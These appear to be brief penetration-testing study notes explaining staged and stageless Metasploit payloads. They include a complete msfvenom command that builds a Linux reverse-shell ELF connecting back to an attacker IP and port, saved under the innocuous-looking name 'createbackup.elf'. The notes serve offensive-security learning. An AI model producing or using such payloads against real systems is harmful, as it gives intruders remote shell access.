Payloads

A payload is usually the code or instructions that exploit a weakness in a system (the victim machine) to do something unauthorized
Types
  • Staged (in stages): Sends a small initial fragment to the target, which then downloads the rest of the payload from the attacker machine
  • Example: linux/x86/shell/reverse_tcp
  • Stageless (without stages): Sends the entire payload in a single step
  • Example: linux/zarch/meterpreter_reverse_tcp
Create an Msfvenom Payload
terminal
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
  • p: Defines the payload type.
  • LHOST and LPORT: IP address and port of the attacker machine.
  • f elf: Specifies the payload format (in this case, ELF for Linux).
  • >: Saves the payload as a file (createbackup.elf).